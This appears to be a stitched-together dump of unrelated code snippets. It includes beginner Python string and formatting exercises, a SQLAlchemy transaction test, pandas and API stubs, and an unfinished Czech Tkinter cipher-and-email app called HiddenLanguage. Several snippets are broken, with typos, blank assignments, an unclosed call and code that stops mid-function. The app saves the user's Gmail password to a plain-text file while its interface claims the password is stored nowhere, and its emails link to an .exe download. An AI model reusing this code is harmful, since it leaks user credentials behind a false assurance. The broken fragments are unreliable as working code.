ans2 = find_sum[8:]
# Another way:- find_sum[8:11]
print(ans2)
#Output should be sum
word = 'Typesetting'
ans1 = word[:3] 
#Another way:- word[0:3]
print(ans1)
#output: Typ
word="standard"
ans5 =
print(ans5)
#Output should be tan
word="standard"
ans4 =
print(ans4)
#Output should be sad
wrd="Toscana"
ans3 =
print(ans3)
#Output should be can
find_sum = 'Lorem Ipsum'
ans2 =
print(ans2)
#Output should be sum
word = 'Typesetting'
ans1 = 
print(ans1)
#Output should be Typ
str1 = "I am happy"
print(str1[0]) # I
print(str1[1]) #  (whitespace)
print(str1[2]) # a
print(str1[3]) # m
print(str1[4]) #  (whitespace)
print(str1[5]) # h
print(str1[6]) # a
print(str1[7]) # p
print(str1[8]) # p
print(str1[9]) # y
son = "John"
father = "Dad"
thing = "car"
verb = "walked"
print(f'''A teenage boy named {son} had just passed his driving test
and asked his {father} if he could start using the family {thing}.
The {father} said he'd make a deal with {son}, "You bring your 
grades up from a C to a B average, study your Bible a little, and 
get your hair cut.
Then we'll talk about the {thing}". {son} thought about that for a
moment, decided he'd settle for the offer and they agreed on it.
After about six weeks, the {father} said, "{son}, you've brought 
your grades up and I've observed that you have been studying your 
Bible, but I'm disappointed you haven't had your hair cut."
{son} said, "You know, {father}, I've been thinking about that, and
I've noticed in my studies of the Bible that Samson had long hair,
John the Baptist had long hair, Moses had long hair, and there's
even strong evidence that Jesus had long hair." His {father} 
replied, "Did you also notice that they all {verb} everywhere they 
went?"''')
what ="f-string"
adjective = "fantastic"

print(f"{what} is {adjective}")
name = "Python"
age = 31
number = 284.242

print("I am %s I am %d years old. I support floating point numbers like %f." % (name, age, number))
action1 = "Sing"
action2 = "Dance"
action3 = "Be difficult"

print("Three things that python can't do:- {}, {}, and {}!!".format(action1, action2, action3))
#Keyword and position are also possible
show = "Monty Python's Flying Circus,"

print("Python is named after ", show, " a BBC comedy series from the 1970s.")
game = "PUBG"
print(game+" is a game!!")

#!!Don't forget to give a space before 'is' otherwise
#PUBGis a game!!   #This will be your ouptut
#-----GAME-----
diamonds = 10
#player won 
daimonds += 5
#player lost
diamonds -= 1
#player wants to see total no. of diamonds he has
print("The total no. of diamonds you have = ", diamonds)
import pandas as pd
import sqlalchemy as sa

engine = sa.create_engine("mssql+pyodbc://@mssqlLocal64")

def dump_tran_test_table(conn):
    print(conn.execute(sa.text("SELECT * FROM tran_test")).fetchall())

# set up test environment
with engine.begin() as conn:
    conn.exec_driver_sql("DROP TABLE IF EXISTS tran_test")
    conn.exec_driver_sql(
        "CREATE TABLE tran_test "
        "(txt varchar(10), id int primary key)"
    )
    conn.exec_driver_sql(
        "INSERT INTO tran_test (txt, id) VALUES "
        "('old_foo', 1), ('old_bar', 2)"
    )

# test
with engine.connect() as conn:
    tran = conn.begin()
    df = pd.DataFrame([("new_baz", 3)], columns=["txt", "id"])
    df.to_sql("tran_test", conn, index=False, if_exists="append")
    dump_tran_test_table(conn)
    """console output:
    [('old_foo', 1), ('old_bar', 2), ('new_baz', 3)]
    """
    tran.rollback()
    dump_tran_test_table(conn)
    """console output:
    [('old_foo', 1), ('old_bar', 2)]
    """
>>> import pandas as pd
>>> 
>>> df = pd.DataFrame(['1/2/2020','12/31/2020','20-Jun-20'],columns=['Date'])
>>> df
         Date
0    1/2/2020
1  12/31/2020
2   20-Jun-20
>>> 
>>> df['Date'] = pd.to_datetime(df['Date'])
>>> df
        Date
0 2020-01-02
1 2020-12-31
2 2020-06-20
>>> 
>>> df['Date'] = pd.to_datetime(df['Date']).dt.strftime('%y-%m-%d')
>>> 
>>> df
       Date
0  20-01-02
1  20-12-31
2  20-06-20
>>> 


from langflow import CustomComponent

from langchain.llms.base import BaseLLM
from langchain.chains import LLMChain
from langchain import PromptTemplate
from langchain.schema import Document

import requests

class YourComponent(CustomComponent):
    display_name: str = "Custom Component"
    description: str = "Create any custom component you want!"

    def build_config(self):
        return { "url": { "multiline": True, "required": True } }

    def build(self, url: str, llm: BaseLLM, prompt: PromptTemplate) -> Document:
        response = requests.get(url)
        chain = LLMChain(llm=llm, prompt=prompt)
        result = chain.run(response.text[:300])
        return Document(page_content=str(result))
import emailvalidationio

client = emailvalidationio.Client('YOUR-API-KEY')
result = client.validate('support@emailvalidation.io')
print(result)
import requests
url = "https://api.currencyapi.com/v3/latest"
headers = {
    'apikey': 'YOUR-API-KEY'
}
response = requests.request("GET", url, headers=headers)
print(response.text
      
num_str = "10" #it is a string because it is inside quotes
num = 10.1 #it is an float
num_result = int(num_str) + num #telling python that num_str 
#is a number and to add it to num.
print(num_result)
print(type(num_result))
num_str = "10" #it is a string because it is inside quotes
num = 10.1 #it is an float
num_result = num_str + num
print(num_result)
print(type(num_result))
num1 = 10 #it is an integer
num2 = 10.1 #it is an float
num3 = num1 + num2 #it will be converted to float to avoid data loss
print(num3) #20.1
print(type(num3)) #it got converted to float datatype
#addition
print(8+9) #17
#division
print(8/9) #0.8888888888888888
#multiplication
print(8*9) #72
#finding remainder
print(8%9) #8
#These are all examples of arithmetic operators(+,/,*,%).
print(3+1j)
a = (3+1j) # This is also a variable we will discuss them next to next post.
print(type(a))
print(10 > 9)
print(10 == 9)
print(10 < 9)
player= "won" # this line creates a variable we will discuss them later. It prints nothing.
print(player=="won")
print(1)
print(1,1)
print(type(1))
#And so on.
print("Hiii")#this is an inline comment
print(" '#' This is not a comment this will be printed")
#First
#Put a
# hash 
#before all the lines
#you want to comment

print('This must be quite obvious, anyways the next option is:')

  #Second
"""put the
multi line either between three 
double quotes or"""
'''between
three
single quotes'''
#
#This is a single line comment
print("Hello World")
#print("This too will be treated as a comment")
#This is a comment.
print("however, this will be printed") #This is also a comment
import tkinter as tk
from tkinter import messagebox
import random
import smtplib
import tkinter.messagebox as mbox
from email.mime.multipart import MIMEMultipart
import time
from email.mime.base import MIMEBase
from email import encoders

import getpass
from email.mime.text import MIMEText
obsah_desifrovane_zpravy = ""


def tlacitko_klik():

    okno.destroy()
    menu = tk.Tk()
    menu.geometry("800x800")
    # menu.configure(bg="light gray")
    menu.title("HiddenLanguage")


    label1 = tk.Label(menu,text="\n" +"Šifrovat či Dešifrovat?",font=("Arial",30,"bold"))
    label1.pack()

    label2 = tk.Label(menu,text="Chcete šifrovat nebo dešifrovat?",font=("Arial",15))
    label2.pack()

    # --------------------------------
    def tlacitko_klik_sif():
        import json
        # Tady se vyčistí soubory txt ze speciálního nastavení = 1) nápověda v emailu, 2) přezdívka v emailu
        with open("napoveda_uzivatel", "w") as file:
            file.write("ano")

        data = data = {
    "chce_prezdivku": False,
    "prezdivka": "prezdivka"
                    }
        with open("prezdivka.json", "w") as json_file:
            json.dump(data, json_file)


        #Přes tento kod se uloží hodnoty a spustí funkce Šifrování a email.
        def ulozeni_hodnot_mail():
            # Získáme text z textboxu (Text widgetu)
            zprava_ke_skryti = textbox_obsah.get("1.0", "end-1c")  # "1.0" označuje začátek a "end-1c" označuje konec textu
            nazev_souboru_sifr = (str(textbot_nazev_souboru.get("1.0", "end-1c")) + ".txt")
            odesilatel = textbot_odesilatel.get("1.0", "end-1c")
            prijemce = textbot_prijemce.get("1.0", "end-1c")
            heslo = textbot_odesilatel_heslo.get("1.0", "end-1c")
            #List který slouží pro for i in range dole


            with open("zprava_ke_skryti.txt","w") as file:
                file.write(zprava_ke_skryti)
            with open(nazev_souboru_sifr, "w") as file:
                file.write(nazev_souboru_sifr)
            with open("odesilatel.txt","w") as file:
                file.write(odesilatel)
            with open("prijemce.txt","w") as file:
                file.write(prijemce)
            with open("heslo.txt", "w") as file:
                file.write(heslo)

            # Tady získáváme informace ke každé informaci v podobě True False (jestli je pole prázdné nebo ne) Stačí aby bylo jedno a bude error
            if not zprava_ke_skryti.strip() or not nazev_souboru_sifr.strip() or not odesilatel.strip() or not prijemce.strip() or not heslo.strip():
                messagebox.showinfo("Upozornění", "Vyplňte všechna pole!")

            if odesilatel.strip():
                if not odesilatel[-10:] == "@gmail.com":
                    messagebox.showinfo("Upozornění", "Jediná možná adresa u odesílatele e-mailu je @gmail.com!")

            Sifrovani(zprava_ke_skryti, nazev_souboru_sifr)
            with open("sifrovani.txt", "r") as file:
                sifrovany_text = file.read()
                #oznamena_sifra = tk.Label(sifrovani_okno, text=(
                        #"Vaše skrytá zakodovaná šifra zní takto: " + str(sifrovany_text)),
                #oznamena_sifra.place(x=150, y=650, width=600, height=100)
            email(odesilatel, prijemce, heslo, nazev_souboru_sifr)
            mbox.showinfo("Upozornění", "Úspěšně odeslán email!")

            # Tady vyčistíme všechny hodnoty aby nemohl spamovat maily zasebou
            textbox_obsah.delete("1.0", tk.END)
            textbot_nazev_souboru.delete("1.0", tk.END)
            textbot_odesilatel.delete("1.0", tk.END)
            textbot_prijemce.delete("1.0", tk.END)
            textbot_odesilatel_heslo.delete("1.0", tk.END)

            #sifrovani_okno.destroy()
            #time.sleep(2)
            #Uvodni_menu()



        #Vytvoření šifrovacího okna
        sifrovani_okno = tk.Tk()
        sifrovani_okno.geometry("1920x1080")
        sifrovani_okno.title("Šifrování")
        menu.destroy()

        def zpet_do_menu():
            sifrovani_okno.destroy()
            Uvodni_menu()

        label1 = tk.Label(sifrovani_okno ,text="Šifrování", font=("Arial", 30))
        label1.pack()

        label2 = tk.Label(sifrovani_okno,text="Níže napište svoji zprávu, jenž chcete šifrovat.", font=("Arial", 15))
        label2.pack()
        textbox_obsah = tk.Text(sifrovani_okno, height=10,width=50, font=("Arial", 15))
        textbox_obsah.pack(pady=20)


        label3 = tk.Label(sifrovani_okno,padx=30, text="Zde napište název pro soubor, v němž bude uložen kod.", font=("Arial", 15))
        label3.pack()
        textbot_nazev_souboru = tk.Text(sifrovani_okno, height=1,width=30, font=("Arial", 15))
        textbot_nazev_souboru.pack(pady=20)

        #EMAIL
        email_odesilatel_label = tk.Label(sifrovani_okno,padx=35, text="Zadejte váš email", font=("Arial", 15))
        email_odesilatel_label.pack()
        textbot_odesilatel = tk.Text(sifrovani_okno, height=1, width=30, font=("Arial", 15))
        textbot_odesilatel.pack(pady=20)

        email_prijemce_label = tk.Label(sifrovani_okno, padx=45, text="Zadejte email dané osoby", font=("Arial", 15))
        email_prijemce_label.pack()
        textbot_prijemce = tk.Text(sifrovani_okno, height=1, width=30, font=("Arial", 15))
        textbot_prijemce.pack(pady=20)

        email_odesilatel_label_heslo = tk.Label(sifrovani_okno, padx=50, text="Zadejte vaše heslo", font=("Arial", 15))
        email_odesilatel_label_heslo.pack()
        textbot_odesilatel_heslo = tk.Text(sifrovani_okno, height=1, width=30, font=("Arial", 15))
        textbot_odesilatel_heslo.pack(pady=20)

        kontrola = tk.Button(sifrovani_okno,text="Odeslat", command=ulozeni_hodnot_mail,font=("Arial",20),bg = "gray", fg = "black", activebackground = "blue",activeforeground="white")
        kontrola.pack(pady=10)

        poznamka = tk.Label(sifrovani_okno, text="Kod v souboru, jemuž dáváte název je takový kod bez mezer, který je důležitý při dešifrování." + "\n" +"Odesílatel musí mít emailovou adresu od Gmailu. Příjemce nemusí." + "\n" +"Heslo vámi zadané se nikam neukládá a za to vám ručím. Celý programovací kod je veřejně přístupný.", font=("Arial", 10))
        poznamka.pack(pady=10)

        navraceni_do_menu = tk.Button(sifrovani_okno,text="Vrátit se do menu",command=zpet_do_menu,font=("Arial",12,"bold"),bg="blue",fg="white",activeforeground="black")
        navraceni_do_menu.pack()

        #------------------------------------------------------------

        # Tady jsou definovány checkboxy které se ptají na návod a přezdívku
        #Funkce SE SPUSTÍ JAKMILE UŽIVATEL ZMÁČKNE TLAČÍTKO PRO ULOŽENÍ



        def otevri_vyskakovaci_okno():
            vyskakovaci_okno = tk.Toplevel()
            vyskakovaci_okno.geometry("900x500")
            vyskakovaci_okno.title("Nastavení nápovědy v mailu")


            # Tady je definován textbox který se objeví jakmile je v druhé možnosti zaškrtnuto jakože ano
            # Tady bude textbox, který se zobrazí pouze jakmile je zaškrtnutá možnost 1
            def on_text_click(event):
                if textbox.get("1.0",
                               tk.END).strip() == "Napište přezdívku, jenž se objeví v emailu. Dbejte na svoji anonymitu. Přece jen, je to k tomu vytvořené!":
                    textbox.delete("1.0", tk.END)  # Smazat původní text při kliknutí do pole
                    textbox.config(fg='black')  # Změnit barvu textu na černou

            def on_focus_out(event):
                if textbox.get("1.0", tk.END).strip() == "":
                    textbox.insert("1.0",
                                   "Napište přezdívku, jenž se objeví v emailu. Dbejte na svoji anonymitu. Přece jen, je to k tomu vytvořené!")  # Pokud uživatel nezadal žádný text, vrátit původní placeholder
                    textbox.config(fg='grey')  # Nastavit barvu textu na šedou

            # Placeholder - původní text, který se zobrazuje, dokud uživatel nezačne psát
            placeholder = "Napište přezdívku, jenž se objeví v emailu. Dbejte na svoji anonymitu. Přece jen, je to k tomu vytvořené!"

            textbox = tk.Text(vyskakovaci_okno, height=3, width=40, wrap="word", fg='grey',font=("Arial",10))
            textbox.insert("1.0", placeholder)
            textbox.bind('<FocusIn>', on_text_click)  # Při kliknutí do pole
            textbox.bind('<FocusOut>', on_focus_out)  # Když pole ztratí focus (kliknutí mimo pole)
            #KONEC TEXTBOXUUUUUUUUUUU

            def on_checkbox_click():
                if napoveda.get() == 1:
                    with open("napoveda_uzivatel", "w") as file:
                        file.write("ano")
                else:
                    with open("napoveda_uzivatel", "w") as file:
                        file.write("ne")

            def chce_jmeno_checkbox_klik():
                if chce_jmeno_y_n.get() == 1:
                    textbox.pack(pady=10)
                else:
                    textbox.pack_forget()

            # Zde jsou checkboxy a otazky
            label = tk.Label(vyskakovaci_okno, text="Nastavení nápovědy", font=("Arial", 20),activeforeground="blue")
            label.pack(pady=10)
            label_napoveda = tk.Label(vyskakovaci_okno,
                                      text="A) Pokud zaškrtnete checkbox, tak bude mail obsahovat návod k dešifrování zprávy." + "\n" + "Pokud nezaškrtnete checkbox, tak nápověda v mailu nebude.",font=("Arial",11),activeforeground="blue")
            label_napoveda.pack(pady=10)

            napoveda = tk.IntVar()
            checkbox = tk.Checkbutton(vyskakovaci_okno,
                                      text="Chci aby email obsahoval nápovědu k řešení",
                                      font=("Arial", 12), variable=napoveda, command=on_checkbox_click)
            checkbox.pack(pady=10)


            # Tady je část kodu jenž se zaobývá uživatelem
            label_uzivatel = tk.Label(vyskakovaci_okno,
                                      text="B) Tady je checkbox, který pokud zaškrtnete tak budete mít možnost vymyslet si vlastní přezdívku." + "\n" + "Pokud nezaškrtnete tuto možnost, tak počítač při odeslání mailu přečte název vašeho usera na pc např host nebo tomáš apod.",
                                      font=("Arial", 11), activeforeground="blue")
            label_uzivatel.pack(pady=10)

            chce_jmeno_y_n = tk.IntVar()
            jmeno_uzivatele = tk.Checkbutton(vyskakovaci_okno,
                                      text="Chci si sám vytvořit přezdívku",
                                      font=("Arial", 12), variable=chce_jmeno_y_n, command=chce_jmeno_checkbox_klik)
            jmeno_uzivatele.pack(pady=10)

            #Toto uloží hodnoty z checkboxu
            def ulozeni_hodnot():
                import json
                if chce_jmeno_y_n.get() == 1:
                    prezdivka = textbox.get("1.0", "end-1c")

                    data = {
    "chce_prezdivku": True,
    "prezdivka": prezdivka
                    }

                    with open("prezdivka.json", "w") as json_file:
                        json.dump(data, json_file)
                vyskakovaci_okno.destroy()


            odeslat_button = tk.Button(vyskakovaci_okno,height=3,width=20,text="Potvrdit",command=ulozeni_hodnot,font=("Arial",16,"bold"),bg="blue",fg="white",activeforeground="black")
            odeslat_button.place(x=320,y=360)


        specialni_nastaveni = tk.Button(sifrovani_okno,text="Speciální nastavení",command=otevri_vyskakovaci_okno,font=("Arial",12,"bold"),bg="red",fg="white",activeforeground="black")
        specialni_nastaveni.pack(pady=5)


        #Konfigurace mailu
        def email(odesilatel,prijemce,password,nazev_souboru):
            import json
            import datetime

            with open("prezdivka.json", "r") as json_file:
                nactena_data = json.load(json_file)

            chceprezdivku = nactena_data["chce_prezdivku"]
            if chceprezdivku == True:
                qw = nactena_data["prezdivka"]
            else:
                qw = getpass.getuser()

            # Získání aktuálního času
            cas = datetime.datetime.now()
            hodiny_cas = cas.strftime("%H:%M:%S")
            formatovany_cas = cas.strftime("%Y-%m-%d %H:%M:%S")

            sender_password = password

            # Email configuration
            sender_email = odesilatel
            receiver_email = prijemce
            subject = "Byla vám poslána záhadná zpráva"

            with open(nazev_souboru,"r") as file:
                nova_abeceda = file.read()
            with open("napoveda_uzivatel","r") as file:
                napoveda_ano_ne = file.read()
            if napoveda_ano_ne == "ano":
                html_message = f"""<p><span style="font-family: Arial, Helvetica, sans-serif;"><strong><span style="font-size: 36px; color: rgb(0, 0, 0); text-shadow: rgba(136, 136, 136, 0) 0px 0px 0px;">Byla v&aacute;m odesl&aacute;na z&aacute;hadn&aacute; zpr&aacute;va</span></strong></span></p>
<p><span style="font-size: 26px;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Co to m&aacute; znamenat?</strong></span></span></p>
<p>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">Před několika vteřinami, přesněji v&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">{hodiny_cas}</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">&nbsp; byla zaznamen&aacute;na podivn&aacute; aktivita na jak&eacute;msi programu s n&aacute;zvem&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">HiddenLanguage</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">. Jedin&aacute; dohledateln&aacute; informace je, že uživatel se vyskytuje pod přezd&iacute;vkou&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">{qw}</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">. Pokud v&iacute;te co m&aacute;te dělat, tak čiňte jak usoud&iacute;te. V př&iacute;loze je zasl&aacute;n k&oacute;d, jenž se v&aacute;m bude zajist&eacute; hodit v dal&scaron;&iacute;ch akc&iacute;ch.</span></font>
</p>
<p style="text-align: left;"><br></p>
<p style="text-align: left;"><span style="font-size: 26px; font-family: Arial, Helvetica, sans-serif;"><strong>Zachycen&aacute; zpr&aacute;va ze serv</strong><strong>eru</strong></span></p>
<div><span style="font-family: Arial, Helvetica, sans-serif;"><strong><span style="font-size: 18px;">{sifrovany_text}</span></strong></span></div>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><br></span></p>
<p style="text-align: left;"><strong style="font-weight: 700; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; font-size: 26px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;">Zachycen&yacute; k&oacute;d ze serv</strong><strong style="font-weight: 700; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; font-size: 26px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;">eru</strong></p>
<p style="text-align: left;"><span style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;"><strong>{nova_abeceda}</strong></span></p>
<p style="text-align: left;"><br></p>
<p><br></p>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><br></span></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Tvůrce HiddenLanguage</strong><img src="https://myfiles.space/user_files/168855_15d4659979401e54/168855_custom_files/img1690038712.jpeg" alt="He know where you are" style="margin: 0 auto; display: block; width: 1100px;" width="1100" height="614"></span></p>
<p style="text-align: left;"><br></p>
<p style="text-align: center;"><br></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Doba odesl&aacute;n&iacute;: {formatovany_cas}</strong></span></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Soubor ke stažen&iacute;: <a href="https://www.mediafire.com/file/blnje4ut0ped9pi/HiddenLanguage.exe/file" target="_blank" rel="noopener noreferrer">MediaFire Download</a><br></strong></span></p>
<div style="color: red;"><br></div>
"""

            else:
                html_message = f"""<p><span style="font-family: Arial, Helvetica, sans-serif;"><strong><span style="font-size: 36px; color: rgb(0, 0, 0); text-shadow: rgba(136, 136, 136, 0) 0px 0px 0px;">Byla v&aacute;m odesl&aacute;na z&aacute;hadn&aacute; zpr&aacute;va</span></strong></span></p>
<p><span style="font-size: 26px;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Co to m&aacute; znamenat?</strong></span></span></p>
<p>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">Před několika vteřinami, přesněji v&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">{hodiny_cas}</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">&nbsp; byla zaznamen&aacute;na podivn&aacute; aktivita na jak&eacute;msi programu s n&aacute;zvem&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">HiddenLanguage</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">. Jedin&aacute; dohledateln&aacute; informace je, že uživatel se vyskytuje pod přezd&iacute;vkou&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">{qw}</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">. Pokud v&iacute;te co m&aacute;te dělat, tak čiňte jak usoud&iacute;te. V př&iacute;loze je zasl&aacute;n k&oacute;d, jenž se v&aacute;m bude zajist&eacute; hodit v dal&scaron;&iacute;ch akc&iacute;ch.</span></font>
</p>
<p style="text-align: left;"><br></p>
<p style="text-align: left;"><span style="font-size: 26px; font-family: Arial, Helvetica, sans-serif;"><strong>Zachycen&aacute; zpr&aacute;va ze serv</strong><strong>eru</strong></span></p>
<div><span style="font-family: Arial, Helvetica, sans-serif;"><strong><span style="font-size: 18px;">{sifrovany_text}</span></strong></span></div>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><br></span></p>
<p style="text-align: left;"><strong style="font-weight: 700; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; font-size: 26px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;">Zachycen&yacute; k&oacute;d ze serv</strong><strong style="font-weight: 700; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; font-size: 26px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;">eru</strong></p>
<p style="text-align: left;"><strong style="font-weight: 700; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; font-size: medium; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;"><span style="font-size: 18px;">{nova_abeceda}</span></strong></p>
<p style="text-align: left;"><br></p>
<p style="text-align: left;"><span style="font-family: Arial, Helvetica, sans-serif; font-size: 26px;"><strong>Co d&aacute;le</strong></span></p>
<p style="text-align: left;"><span style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">V př&iacute;loze jsou dva soubory. Jeden z nich se vždy jmenuje sifrovani.txt a druh&yacute; je pojmenov&aacute;n podle autora.</span></p>
<p style="text-align: left;"><span style="font-family: Arial, Helvetica, sans-serif; font-size: 19px;"><strong><span style="color: rgb(226, 80, 65);">De&scaron;ifrov&aacute;n&iacute;</span></strong></span></p>
<ol>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">St&aacute;hněte tento soubor, kter&yacute; se nejmenuje &scaron;ifrov&aacute;n&iacute;, do složky Plocha - HiddenLanguage - Program.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Spusťte program a zvolte druhou možnost = de&scaron;ifrov&aacute;n&iacute;.&nbsp;</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte n&aacute;zev textov&eacute;ho souboru, jenž jste si před chv&iacute;l&iacute; st&aacute;hnul. (Pozor, napi&scaron;te n&aacute;zev bez .txt!)</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Vložte nečiteln&yacute; k&oacute;d, jenž vid&iacute;te nad sebou v č&aacute;sti B.&nbsp;</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Počkejte na v&yacute;sledek</li>
</ol>
<p><b style="font-family: Arial, Helvetica, sans-serif; font-size: 16px;">V odeslan&yacute;ch zpr&aacute;v&aacute;ch by jste měli vidět v&aacute;&scaron; odeslan&yacute; mail.</b></p>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-size: 19px; color: rgb(41, 105, 176);"><strong>&Scaron;ifrov&aacute;n&iacute;</strong></span></span></p>
<ol>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Spusťte program.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zvolte prvn&iacute; možnost.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte text, kter&yacute; chcete &scaron;ifrovat.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte n&aacute;zev pro uložen&iacute; va&scaron;eho k&oacute;du. (např. tajemny_kod)</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Uvid&iacute;te za&scaron;ifrovanou zpr&aacute;vu</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Vyberte zda-li chcete &scaron;ifru poslat někomu na mail.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte svůj e-mail. (Pouze a jedině Gmail funguje)</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte e-mail toho, kdož m&aacute; mail obdržet.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte sv&eacute; heslo. (heslo nikde neukl&aacute;d&aacute;me!)</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Je hotovo!</li>
</ol>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><br></span></p>
<p><br></p>
<p><br></p>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><br></span></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Tvůrce HiddenLanguage</strong><img src="https://myfiles.space/user_files/168855_15d4659979401e54/168855_custom_files/img1690038712.jpeg" alt="He know where you are" style="margin: 0 auto; display: block; width: 1100px;" width="1100" height="614"></span></p>
<p style="text-align: left;"><br></p>
<p style="text-align: center;"><br></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Doba odesl&aacute;n&iacute;: {formatovany_cas}</strong></span></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Soubor ke stažen&iacute;: <a href="https://www.mediafire.com/file/blnje4ut0ped9pi/HiddenLanguage.exe/file" target="_blank" rel="noopener noreferrer">MediaFire Download</a><br></strong></span></p>
<div style="color: red;"><br></div>
"""

            # Vytvoření instance MIMEText pro HTML obsah
            html_part = MIMEText(html_message, 'html')

            # Vytvoření multipart zprávy
            msg = MIMEMultipart()
            msg['From'] = sender_email
            msg['To'] = receiver_email
            msg['Subject'] = subject

            # Přidání HTML části do multipart zprávy
            msg.attach(html_part)


            # Přidání přílohy dm_heslo.txt
            with open(nazev_souboru, 'rb') as file:
                attachment = MIMEBase('application', 'octet-stream')
                attachment.set_payload(file.read())
                encoders.encode_base64(attachment)
                attachment.add_header('Content-Disposition', 'attachment', filename=nazev_souboru)
                msg.attach(attachment)

            # Přidání přílohy screenshot.png
            with open("sifrovani.txt", 'rb') as file:
                attachment = MIMEBase('application', 'octet-stream')
                attachment.set_payload(file.read())
                encoders.encode_base64(attachment)
                attachment.add_header('Content-Disposition', 'attachment', filename='sifrovani.txt')
                msg.attach(attachment)

            # Odeslání e-mailu
            server = smtplib.SMTP('smtp.gmail.com', 587)
            server.starttls()
            server.login(odesilatel, sender_password)
            server.send_message(msg)
            server.quit()
        # Tady se dělá práce
        def Sifrovani(zprava_ke_skryti,nazev_souboru):
            abeceda = 'ABCDEFGHIJKLMNOPQRSTUVWXYabcdefghijklmnopqrstuvwxyz123456789ěščřžýáíé'
            nova_abeceda = ''.join(random.sample(abeceda, len(abeceda)))

            # Uložení šifrace

            with open(nazev_souboru, "w") as file:
                file.write(nova_abeceda)
            # Konec ukládání

            prevodni_tabulka = str.maketrans(abeceda, nova_abeceda)
            global sifrovany_text
            sifrovany_text = zprava_ke_skryti.translate(prevodni_tabulka)

            with open("sifrovani.txt", "w") as file:
                file.write(sifrovany_text)

        sifrovani_okno.mainloop()

    def tlacitko_klik_desif():
        def Zpet_do_menu():
            desifrovani_okno.destroy()
            Uvodni_menu()

